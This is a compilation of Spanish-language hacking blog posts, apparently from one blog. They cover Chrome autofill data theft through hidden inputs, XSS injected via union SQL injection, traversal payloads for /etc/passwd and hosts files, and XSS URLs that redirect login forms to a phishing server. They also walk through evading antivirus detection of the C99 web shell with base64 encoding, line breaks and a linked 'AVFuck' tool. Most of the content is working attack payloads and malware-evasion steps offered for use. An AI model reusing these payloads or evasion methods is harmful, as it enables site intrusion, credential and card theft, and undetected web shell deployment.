A finales de 2010, Google introdujo en Chrome autofill, una característica cómoda, pero que puede suponer un problema de seguridad para sus usuarios. Incluso después de que otros navegadores sufrieran problemas de seguridad relacionados con esta funcionalidad, y que la funcionalidad en sí haya sido cuestionada, sigue siendo posible robar la información almacenada del usuario que rellena un formulario sin que lo perciba.
En general, almacenar datos sensibles en el navegador no suele resultar una buena idea. Justo antes de que Chrome implementara el "Autofill", en verano de 2010, se descubrió cómo sacar todos los datos almacenados en Safari con fuerza bruta en javascript. El usuario rellenaba un campo pero el navegador se encargaba de rescatar todos los demás almacenados, probando todas las letras y dejando que el navegador hiciera el resto. La vulnerabilidad fue parcheada poco después. No hace tanto, en agosto de 2013, se criticó desde muchos frentes lo sencillo que era recuperar contraseñas almacenadas en Chrome, que podían observar en texto plano.
Con un sencillo método se puede conseguir que el usuario que escribe en un formulario, entregue esos datos a un tercero sin que sea consciente de ello.


¿Cómo funciona?

Autofill de Chrome permite almacenar la dirección postal (dividida en otros datos como nombre, apellidos, teléfono, código postal...) y la tarjeta de crédito (dividida en titular, número y fecha de caducidad). Los datos (excepto la tarjeta de crédito) se pueden sincronizar con la cuenta de Google. El menú de configuración y cómo acceder a él, se observa en la siguiente secuencia de imágenes.


Diferentes pantallas de configuración de "autofill" en Chrome

Para que un formulario aproveche el autofill, los inputs deben ser debidamente identificados para que Chrome sepa qué valores corresponden.


Dispone de cierta heurística para intentar que casen los campos. Por ejemplo sabe que autocomplete="mail" debe ir autocompletado con el mismo contenido que cuando lleva de valor autocomplete="Work  email".

El "ataque"

Un atacante puede aprovechar esta característica del navegador para obtener información privada como puede ser los datos del domicilio o datos de la tarjeta bancaria. Planteamos un escenario en el que la víctima visite una página web por https especialmente modificada, introduzca los datos y el atacante se ayude del autofill que ofrece el navegador para obtener datos sensibles almacenados. Todo esto a pesar de las pequeñas trabas que introduce Chrome en su código para evitarlo.
Por ejemplo, como precaución, Chrome solo proporciona la tarjeta de crédito a páginas bajo https. Esto no es ningún problema para un atacante, pues es solo tiene que operar a través de una conexión SSL. Existen páginas fraudulentas que funcionan con certificados gratuitos.
El segundo paso es preparar el formulario y ocultar a los ojos de la víctima, los inputs que interesan al atacante. La primera aproximación pensaría en utilizar la etiqueta "hidden". Pero en el input el atributo type no puede llevar ese valor. Una segunda aproximación podría ser introducir el formulario dentro de un div con la propiedad visibility en "hidden"... pero Chrome evita que los inputs sean auto-rellenados cuando se cumplen estas condiciones. ¿Cómo conseguirlo entonces?
Una fórmula puede ser aprovechar la propiedad de scroll, subiendo la capa algunos píxeles para que no se observen el resto de inputs en los que se pretende recopilar la información. En este caso, el formulario "gancho" se vería:


Pero, usando este "div", conseguimos que en su interior se oculten todos estos inputs y no se visualicen en el navegador:

div style ="overflow:hidden;height:25px;"


Chrome rellenará toda la información adicional sin que la vea el usuario. El atacante, recopilará la información y podrá disponer de muchos más datos de los que cree haber rellenado el usuario.


En resumen, aunque resulte cómodo (para sistemas usados por una misma persona solamente), debe evitarse el uso de la funcionalidad autofill, puesto que se ha demostrado que es posible ofrecer a cualquier página bajo https datos tan sensibles como el número de la tarjeta de crédito y su fecha de caducidad, sin que la víctima sea consciente.
Para evitar este problema (o potenciales en el futuro), por ahora el mejor remedio es simplemente no utilizar esta funcionalidad.

Fuente: http://code-disaster.blogspot.com/

La entrada que traigo hoy, trata de como llevar un paso más haya las Union Based SQL Injection, por ejemplo si en algún caso nos vemos frente a una inyección SQL de este tipo, que no contiene datos aprovechables, como pueden ser subir una webshell u obtener las credenciales para acceder al login del gestor de la web que se esté auditando, etc. Se ha de tener en cuenta que un ataque como el Union Based SQL Injection se puede aprovechar de otras formas, y una de estas formas es la que hoy expondré.

Se trata ni más ni menos que aprovechar los campos imprimibles de la consulta SQL que por debajo está realizando la página web al cambiar los parámetros que se envían por la url. Aprovechándonos de dicha forma lograr inyectar además de la inyección SQL, código javascript, HTML o por qué no realizar un SSI, de este modo podríamos desde ejecutar comandos en una Shell devuelta por el sistema que se muestra en la página (SSI), incluir un iframe para cargar un exploit (HTMLi), leer las cookies, suplantar un formulario como vimos en uno de los anteriores post de este blog http://code-disaster.blogspot.com.es/2013/08/ataques-xss-avanzados-aplicaciones-webs.html; o cualquier otro que se nos ocurra, y es que de esta forma se lograría explotar otro tipo ataque que tal vez por estar bien protegida la web no se podría dar y con ello otra forma de ownear la web.

A continuación se puede ver un ejemplo de una inyección XSS sobre una inyección SQL ya que no se logró explotar de otra forma un XSS en lo demás de la web, siendo irrelevantes los datos obtenidos en la base de datos.


Otro punto a favor de realizar una inyección XSS de esta manera, es que se consigue Bypassear tanto los filtros Anti-XSS de navegadores como Google Chrome (Versión 29.0.1547.76 m) como los de IExplorer (10.0.9200.16660).


Para realizar este ataque se debe primero preparar la inyección SQL de modo que quede así.
http://www.localhost.com/test.php?Op=2-1+union+select+1,2,3,4,5,6


Como se puede apreciar el campo imprimible es el que cae en el 5, entonces será cuestión de sustituirlo en este caso por la inyección XSS cifrada en Hexadecimal con cualquier conversor de Ascii a Hex.

Ascii: <script>alert("code-disaster.blogspot.com")</script>
Hex: 3c7363726970743e616c6572742822636f64652d64697361737465722e626c6f6773706f742e636f6d22293c2f7363726970743e

y por ultimo concatenar a la inyección SQL junto con dos paréntesis de apertura al principio, más 0x (que sirve para identificar el cifrado en el gestor de base de datos y que luego va a servir para devolverla impresa en la web en texto plano), más la cadena en Hex y dos cierre de paréntesis al final.

((0x3c7363726970743e616c6572742822636f64652d64697361737465722e626c6f6773706f742e636f6d22293c2f7363726970743e))

Quedando así.
http://www.local.com/test.php?Op=2-1+union+select+1,2,3,4,((0x3c7363726970743e616c6572742822636f64652d64697361737465722e626c6f6773706f742e636f6d22293c2f7363726970743e)),6


Fuente: http://code-disaster.blogspot.com/

Gracias por comentar!

Esta es una práctica que al parecer se está utilizando cada vez más, ya son varias webs que me encuentro con esta forma de acceder a la cuenta de un usuario sin previa autenticación y que encima no caducan las urls pasado cierto tiempo.
A continuación voy a explicar algunas de las ventajas para un atacante e inconvenientes para los desarrolladores en cuanto al uso de este método.

Referer
El Referer sería un vector para obtener estas jugosas urls algo simple de lo que se podría sacar el acceso a la cuenta de la víctima es como si en el Referer se transmitiera las credenciales. Un ejemplo sería realizando una aplicación que recoja los Referer y pidiendo a la víctima que acceda a la web donde se encuentra esta aplicación donde se obtendrán estas urls que transmiten el key para entrar como usuario logead.

Ficheros del historial de los navegadores
Otro causa de por qué no utilizar este método y otro truco de como robar estas urls como todas las otras por las que el usuario navega es el fichero donde se guarda el historial  de navegación por ejemplo en Google Chrome con Windows 8 se haya en un fichero que se encuentra en C:\Users\RootedLab\AppData\Local\Google\Chrome\User Data\Default\History Index 2013-09


Google Dork
Un ejemplo es el caso de www.humblebundle.com se dieron cuenta un poco tarde sin poder evitar la indexación de sus urls ya que como se puede ver en la segunda imagen se encuentra configurado el robots.txt para deshabilitar que se indexe estas urls pero como se ve en la primera imagen se dieron cuenta algo tarde ya que hay indexadas bastantes de ellas con acceso a la cuenta aunque ya reclamadas, por ello esta sería otra truco a tener en cuenta


Fuerza Bruta
Casos de webs como https://www.humblebundle.com/downloads?key=4vMtRuTHm53R que permiten el acceso a la cuenta a través de la url tienen una clave compuesta de 12 caracteres aleatorios alfanuméricos en minúscula (27), mayúscula(26) y numérica(10) por ello cabe un rango de posibles combinaciones de 63^12 algo inviable por tiempo y recursos además habría que contar con la posibilidad de realizar varias denegaciones de servicio, pero no por ello descartable para otras webs.


Otros detalles de por que no usar este método
Antes se solía mandar al correo un email las webs donde uno se acababa de registrar con el usuario y contraseña una práctica que ya no se suele usar por el hecho de que una vez comprometido el correo un atacante podía ver esas credenciales y ahora con el método del acceso en la url existe otro vector por el que el atacante acceda a X web como usuario logeado teniendo de este modo la misma importancia que enviar las credenciales al correo, aunque no le será tan fácil al atacante que se haya colado en su correo filtrar los emails como se hacía antes con los que contenían credenciales filtrando por “password, contraseña, usuario, login”, ya que no hay un patrón que filtre las urls que tenga la clave en la variable… tal vez por key? Para el caso de www.humblebundle.com si hubiese servido, pero cada web tendrá su propio nombre de variable


Hay que tener en cuenta que cualquier usuario si guarda una url como esta es más susceptible a guardarla sin la seguridad y protección que podría emplear para guardar unas credenciales, por ello resulta más fácil robar una url con el acceso que una combinación de usuario y contraseña


Fuente: http://code-disaster.blogspot.com/

En esta entrada voy a dar unos trucos para los que decidan desarrollar una herramienta que se aproveche de la vulnerabilidad “Path Traversal o Transversal” primero he de decir que no voy a explicar lo que es, si quieren saberlo pueden buscarlo en wikipedia o googleando un poco , no se trata de eso este post, si no de agilizar en la medida de lo posible la explotación automatizada de esta vulnerabilidad
Para empezar voy a explicar dos restricciones a nivel de código, dos funciones que pueden (joder) hacer mas compleja su explotación.

Definiciones
Basename: Regresa el nombre del archivo o directorio, por ejemplo /var/www/index.html -> regresa 'index.html'
realpath: Devuelve la ruta de acceso resuelta, resolviendo las referencias de caracteres '/./', '/../' y '/' extra

Estudio
Para realizar el escalado de directorios en los diferentes sistemas se utilizan diferentes sintaxis
..\..\         Windows
../../         Linux
../../         Apache
./             Apache con “basename” en el código fuente de la app vulnerable

Uno de los trucos que propongo es la de olvidar buscar ficheros windows y linux, centrándonos unicamente en la sintaxis de Apache teniendo en cuenta el basename y de esta manera si es vulnerable nos centraremos en una única sintaxis para descargar el archivo vulnerable de dentro de directorio web y de esta forma abstraernos del sistema operativo.
.././
../.././

Otra cosa a tener en cuenta es ir tan atrás como podamos en los directorios desde la primera petición ya que es posible no llegar pero seguro funciona si nos pasamos, esto no es nada nuevo, un simple recordatorio no aplicable al ejemplo anteriormente explicado:
Suponiendo el siguiente caso
/var/www/down/download.php?f=img.jpg
"Arbitrary file download”
Para acceder a /etc/passwd desde el download.php (fichero vulnerable)
../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd     correcto
../../etc/passwd                                                                                   incorrecto
Siendo que basta solamente con ir atrás 3 saltos
../../../etc/passwd para llegar al etc/passwd

Desarrollando la App
Un “Paso a Paso” de un caso común:

A la url se le inyecta por cada parámetro:
[linux] ../../../../../../../../../../../../../../../../etc/group
[windows] \\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts
con lo cual una url tal que así
http://pepe.com/?a=1&b=2
terminaría variando como se aprecia a continuación:
2 peticiones en los 2 parámetros para la descarga del fichero “etc/group” en Linux.
http://pepe.com/?a=[linux]&b=2
http://pepe.com/?a=1&b=[linux]
y 2 peticiones en los 2 parámetros para la descarga del fichero “hosts” en Windows
http://pepe.com/?a=[windows]&b=2
http://pepe.com/?a=1&b=[windows]

Con Mod_Rewrite, Sin basename y sin realpath

----------------TRUCO 1---------------------------------
Ejemplo: http://localhost/PathTraversal/ptraversal.php?archivo=img.jpg
En este posible caso el fichero ptraversal.php realmente no se encuentra en ./PathTraversal/ptraversal.php
ya que con mod rewrite se ha especificado que cuando se acceda a http://localhost/PathTraversal/ptraversal.php
se redirija a ./xxx/yyyy/zzzz/PathTraversal/ptraversal.php
por ello se va a realizar las pruebas estándar para win y linux
../../../../../../../../../../../../../../../../etc/group
\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts

----------------TRUCO 2---------------------------------
Se hace una petición para producir un error:
http://xxxxx.com/download.php?file[]='
Si en el “Source” se encuentra un “FPD” se obtiene la ruta interna y se concatena a la url
<b>/home/jonathan/public_html/download.php</b>
tal que así, logrando de esta forma tener la ruta real (absoluta).
http://xxxxx.com/download.php?file=/home/jonathan/public_html/download.php

Sin Mod_Rewrite, Con basename y con realpath

----------------TRUCO 1---------------------------------
Ejemplo
http://localhost/PathTraversal/ptraversal.php?archivo=img.jpg
Primero se corta la url desde dominio/ hasta ?
PathTraversal/ptraversal.php
se añade el ./
./PathTraversal/ptraversal.php

Y a partir de aquí se intenta escalar directorios
http://localhost/PathTraversal/ptraversal.php?archivo=./PathTraversal/ptraversal.php erróneo
http://localhost/PathTraversal/ptraversal.php?archivo=.././PathTraversal/ptraversal.php correcto
Si lo que devuelve en la descarga del fichero o en la visualización de la web contiene <? y ?> podemos decir que es vulnerable ya que nos encontramos frente a “arbitrary file download” o un “Local File Include" (LFI).


Fuente: http://code-disaster.blogspot.com/

Hoy traigo una herramienta que fue publicada en http://www.elladodelmal.com/2013/04/extraer-lista-de-urls-de-ficheros.html hace unos meses cuando aún estaba realizando las prácticas del ciclo superior de Desarrollo de Aplicaciones Web (DAW), quise algún día traerla y hoy ya toco.

Glosario
.DS_Store (Desktop Services Store) es un archivo oculto exclusivo del sistema operativo de Apple Inc. Mac OS X para almacenar los atributos personalizados de una carpeta, como puede ser la posición de los iconos o la imagen de fondo.

Estos ficheros suelen encontrarse en paginas webs al realizar la subida de un directorio junto con los ficheros .DS_Store ocultos de un Mac OS X y por ello algunos se pueden encontrar indexados a los buscadores. Estos ficheros se puede encontrar dorkeando en Google con un dork tal que así, inurl:.ds_store intext:Bud1 o de esta otra forma ext:ds_store Bud1


Estos ficheros como se puede apreciar en la siguiente imagen tiene un “Head” propio de propio de ellos que contiene la cadena Bud1 además de un cuerpo en el que se encuentra un patrón al final de los nombres de ficheros y directorios “Ilocblob” que los identifican


La herramienta que he desarrollado se encuentra compilada en C# y Java además de sus correspodientes SRC donde podréis ver e investigar como funciona, esta versión no esta lo depurada que me hubiese gustado pero realiza su objetivo listando de la URL donde se encuentra el fichero .DS_Store los nombres de ficheros y directorios escondidos en el.

Para un ejemplo se realizo la prueba contra esta web que además de contener dicho fichero tiene un directorio abierto, con lo cual se pueden contrastar los resultados extraídos por la herramienta y los que se listan en la propia web y es que esta herramienta es una gran alternativa a listar directorios que se encuentran protegidos y con ello no son listados.


Una vez lanzada la aplicación se puede ver como quedo el resultado en la siguiente captura.


Se puede apreciar los ficheros que en un principio estuvieron, con errores 404 y que ahora no están y los que aún continúan estando

Source en C# y Java + compilados
http://sourceforge.net/projects/idstore/files/

Ya van 165 descargas

Fuente: http://code-disaster.blogspot.com/

Hoy les traigo 3 ejemplos de aplicaciones en webs vulnerables a inyecciones XSS, a continuación se va a demostrar cómo es posible realizar varios ataques XSS avanzados, donde se interceptan las credenciales de un login vulnerable con dos ejemplos:

1. Añadir imagen invisible superpuesta al botón del submit del form del login
2. Cambiar action de un form

Glosario de terminos

XSS: del inglés Cross-site scripting es un tipo de inseguridad informática o agujero de seguridad típico de las aplicaciones Web, que permite a una tercera parte inyectar en páginas web vistas por el usuario código javascript o en otro lenguaje script similar.
Scam: es el nombre utilizado para las estafas a través de medios tecnológicos. A partir de la definición de estafa, se define scam como el ‘delito consistente en provocar un perjuicio patrimonial a alguien mediante engaño y con ánimo de lucro; utilizando como medio la tecnología’.
Phising: es un término informático que denomina un tipo de abuso informático y que se comete mediante el uso de un tipo de ingenieria social caracterizado por intentar adquirir información confidencial de forma fraudulenta.

Ejemplo 1:

Como se puede apreciar esta sería la URL junto a la inyección XSS que se enviará a las víctimas.
http://XXXX.YYYY.com.mx/portalvtn/change_password.jsp?login=%22/%3E%20%3Cdiv%20style=%22position:%20absolute;%20z-index:1;left:525;%20top:90;%20border:%20none;%20border:%200;%22%3E%3Cimg%20src=%22cuadrado.png%22%20height=%22100%22%20width=%22160%22%20onclick=%22javascript:window.location.href=%27http://127.0.0.1/portalvtn/change_password.php%27%22%3E%3C/div%3E%3Cinput%20type=%22hidden%22%20value=%22

Diseccionándola para identificar mejor cada parte de la URL es posible identificar:

Por un lado la URL tal cual.
http://XXXX.YYYY.com.mx/portalvtn/change_password.jsp?login=

Y por otro la inyección. cerrando el TAG y añadiendo el código correspondiente para el engaño.

"/>
<div style="position: absolute; z-index:1;left:525; top:90; border: none; border: 0;">
<img src="cuadrado.png" height="100" width="160" onclick="javascript:window.location.href='http://127.0.0.1/portalvtn/change_password.php'"></div>
<input type="hidden" value="

Con el cierre del TAG del principio y la apertura de un input evitamos que la aplicación muestre la web erróneamente:

"/>
<input type="hidden" value="

Con el DIV se va a colocar una imagen transparente encima del botón que sirve para acceder al panel de administración.
http://img443.imageshack.us/img443/9761/rg4.png

La imagen al ser cliqueada va a realizar una redirección a una clonación de la página del login que se encuentra alojada en otra web a la espera de recibir ese usuario y contraseña que se espera obtener con este ataque XSS.

Para ver el ejemplo en acción voy a cambiar la imagen invisible por una inexistente y de esta forma poder identificarla en la imagen siguiente.


La víctima al rellenar su usuario y contraseña y cliquear sobre Cambiar contraseña propia estará realmente apretando sobre la imagen que a su vez lanzará el javascript que le va a re direccionar a la web fraudulenta.


Nada más entrar al phising que hemos creado será alertado con un mensaje que le haga creer que se ha equivocado escribiendo sus credenciales. como se puede observar en la barra de direcciones ahora se encuentra en nuestro servidor fraudulento.

Una vez vuelva a escribir sus credenciales se guardarán en un fichero y le volverá a ser redirigido a la web real junto con otro XSS que le vuelva a advertir de que ha escrito erróneamente sus credenciales para que no sospeche.


Ejemplo 2:

Otra forma muy elegante que no por ello la anterior no se ha de tener en cuenta es modificando en el vuelo directamente el action del form.
http://XXXX.YYYY.com.mx/portalvtn/change_password.jsp?login=%22%2F%3E%0A%3Cscript%3Edocument.changeForm.action%20%3D%20%22%20http%3A%2F%2F127.0.0.1%2Fportalvtn%2Fchange_password.php%22%3Bdocument.forms

• .btnSubmitOwn.type%3D%22submit%22%3C%2Fscript%3E%0A%3Cinput%20type%3D%22hidden%22%20value%3D%22aaa%0A"

Para ver mejor la inyección he separado el código que va a modificar el comportamiento de la aplicación.

<script>document.changeForm.action = " http://127.0.0.1/portalvtn/change_password.php";document.forms[0].btnSubmitOwn.type="submit"</script>
<input type="hidden" value="aaa

Como se puede apreciar se le está cambiando el action del form que en un principio se dirigía a sí mismo, por el de nuestro scam que tenemos en el servidor a la espera de que caiga en el engaño.
document.changeForm.action = " http://127.0.0.1/portalvtn/change_password.php";

y el type del botón para que pase a ser un submit
document.forms[0].btnSubmitOwn.type="submit"

Aquí se puede apreciar cómo una vez hecha la inyección al darle a ‘Cambiar contraseña propia’ se envía tanto el usuario como la contraseña a mi aplicación y esta a su vez lo vuelca en un fichero.


De esta forma a diferencia del primer ejemplo a ojos de la víctima sería casi del todo imperceptible.

Ejemplo 3:

Y por último otro ejemplo de XSS no muy común sería el siguiente
http://xxxxx.com.ve:8000/planillas/verPlanilla.php?proyectoId=1

Donde el código fuente de la aplicación es el siguiente:

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>SIP+ Planilla Flotante</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<frameset cols="250,*" frameborder="no" border="0" framespacing="0">
        <frame 
               src="indicePlanilla.php?proyectoId=1&amp;action=ver" 
               name="leftFrame" scrolling="No" noresize="noresize" id="leftFrame"/>
        <frame
               src="verPlanilla2.php?proyectoId=1"
               name="mainFrame" id="mainFrame" />
</frameset>
<noframes>
<body>
</body>
</noframes>
</html>

Al parecer el valor del campo proyectoId termina concatenándose en la propiedad src de la etiqueta frame del tal manera que preparando una inyección XSS como la siguiente:
http://xxxxx.com.ve:8000/planillas/verPlanilla.php?proyectoId=%22%20onload=javascript:alert%288%29%20michy=%22a


Diseccionándolo para que se entienda mejor:
http://xxxxx.com.ve:8000/planillas/verPlanilla.php?proyectoId=

" onload=javascript:alert(8) michy="a

Se puede observar en el código fuente como se logra inyectar lo enviado por el parámetro proyectoId en la etiqueta frame sin romperla y lograr que la aplicación cumpla como estaba prevista sin malformaciones a la vista de la víctima.

        <frame 
               src="indicePlanilla.php?proyectoId=\" onload=javascript:alert(8) michy=\"a&amp;action=ver" 
               name="leftFrame" scrolling="No" noresize="noresize" id="leftFrame"/>   

   



Fuente: http://code-disaster.blogspot.com/

Siguiendo con el hilo del post anterior se les va a hablar de herramientas comunes para ofuscar código PHP y así lograr saltarse los antivirus. Como ejemplo se usará una herramienta llamada carbylamine escrita en PHP y desarrollada por Prakhar Prasad

Su uso es simple, es necesario pasarle 2 parámetros, fichero de entrada y fichero de salida


Al comparar el código de los dos ficheros se puede ver un gran cambio


Y al analizarlos no se detecta como código malicioso.


Así de sencillo se logra burlar al antivirus y es que no es Avira el único caso, es más desde mi punto de vista Avira es uno de los mejores antivirus que existe hoy en día y es que volviendo a criticar lo que se habló en el anterior post del método de detección por firmas que tan ineficaz es y aún más si estas empresas no invierten trabajo en añadir firmas a herramientas tan conocidas como puede ser la c99 ofuscada sin previas modificaciones con los típicos métodos de ofuscación.


Y es que son muchos los que se inician en el mundo del defacement y sin más suben una web shell ofuscada que se han bajado de la primera página de los resultados de google.


Muchos webmasters se alertarían si su antivirus la hubiese detectado

Conclusión
Me gustaría proponerle una idea y que llegase a los oídos de estas empresas antivirus.
Porqué no advierten los antivirus cuando en un directorio web se encuentra un fichero que hace llamadas a determinadas funciones como gzinflate, base64_decode, etc y si esta al tanto, el administrador la añada como excepción. ¿Se les ocurre algún CMS que ofusque su código fuente como lo hace carbylamine?.

Fuente: http://code-disaster.blogspot.com/

Continuando con el anterior post, hoy se va a tratar la publicación de una herramienta para agilizar el método utilizado a la hora de conseguir que no se detecte la webshell y así dejar automatizado este proceso.

Antes de nada se explica en profundidad el funcionamiento interno para que puedan contar con las nociones necesarias sobre lo que hace la herramienta, para una mejor comprensión. La aplicación va a crear varios ficheros partiendo del original, donde cada fichero generado se va a diferenciar en su contenido, en función del número que se haya enviado como tercer parámetro a la aplicación. Un ejemplo a pequeña escala sería tener una web shell con una longitud de 30 caracteres en la que se ejecutase la aplicación de la siguiente forma:

AVFuck_TPlain.exe 0 end 10 ficheroConWebshellEnBase64
El resultado va a ser la creación de 3 ficheros llamados 0-10.php, 10-20.php, 20-30.php, donde el primero varia los 10 primeros caracteres con respecto del original, en el segundo se varia desde el carácter 10 hasta el 20 y el tercero desde el 20 hasta el 30. Para poder realizar las variaciones, lo único que se ha incluido ha sido una salto de línea entre cada carácter de ese rango.

Tomándose como referencia este ejemplo, se podría poner un caso real, el que se utilice la web shell c99, como se indicó en el primero post. Una vez se tenga la web shell cifrada en base64 y volcada en un fichero,  lo siguiente será lanzar la mi aplicación de la siguiente forma:

Primero será necesario colocarse en el directorio de la App

Cd “C:\xxxx\App\”

Y después ejecutarla de esta forma:

AVFuck_TPlain.exe 0 end 10000 ficheroConWebshellEnBase64

Una vez termine saldrá el mensaje ……….End!

Generando los siguiente ficheros:

El próximo paso será analizar los ficheros y eliminar los detectados.

Como se ve, ha detectados 22/23 con lo cual nos deja un fichero libre de firma el 0-10000.php y si se realiza la prueba de copiarlo y pegarlo en el directorio web y a continuación se procede con su apertura desde del navegador se puede ver que se ejecuta correctamente, con lo cual ya se tendría la webshell libre de firma y funcional.


Herramientas:
AVFuck_TPlain Compilado + Base64(C99) http://www.multiupload.nl/SJK01DU9BD

Conclusión:
Se le ha explicado como utilizar la herramienta para facilitar el método propuesto en el anterior post. En el próximo post continuando con la temática se propondrán otros métodos más habituales y sus herramientas.


Fuente: http://code-disaster.blogspot.com/

Una web shell es una herramienta común entre los defacers una vez que se ha logrado subir algún fichero a un servidor web para de este modo sea mas cómodo curiosear en el servidor, entre las web shell hay una muy reconocida que lleva muchos años en la red es la llamada C99 que se puede encontrar en infinidad de servidores.
Sé va a enseñar como hacer indetectable para saltarse la detección del Avira Antivirus en su versión free.
Una vez descargada y analizada por el antivirus es detectada como PHP/C99Shell.B

Lo siguiente será encodear la web shell y que siga funcional y para ello es necesario realizar algunos cambios como cerrar los tags php y abrirlos quedando de la siguiente forma:
¿><?php ...c99....?><?php
Para codificarla es necesario apoyarse en alguna aplicación que lo codifique en base64, en el ejemplo se ha utilizado una aplicación gratuita disponible en http://www.base64encode.org/

Con el resultado codificado lo siguiente será crear un archivo php en mi caso lo he llamado C992.php y volcar allí el código en base64 quedando de la siguiente forma

Una vez comprobado que sigue funcional, hay que probar si el antivirus sigue detectándolo antes de seguir. Y como se puede ver sigue alertando Avira pero con una variante en este caso la firma en vez de llamarse PHP/C99Shell.B ha cambiado la B por una A

Y aquí es donde entra un método común entre los modders de malware y no es otro que el AVFuck, se trata de buscar en el caso de un fichero binario el offsets donde cae la firma que el antivirus le ha puesto al fichero supuestamente dañino, lo que en vez de offsets y un binario se hará a caracteres de un fichero de texto de tal modo que rompa la firma.
Tras hacer varias pruebas cambiando caracteres de la string en base64 que es en lo que básicamente se basa el método AVFuck se logró haciendo dos simples salto de línea antes y después de un carácter dejarla indetectable a Avira quedando de la siguiente forma.

Quedando de esta forma indetectable y funcional.
Conclusión:
Los antivirus siguen utilizando las mismas técnicas ineficaces con los binarios y los archivos de texto plano. En la próxima entrada se desarrollará una aplicación para facilitar el proceso del método AVFuck

Fuente: http://code-disaster.blogspot.com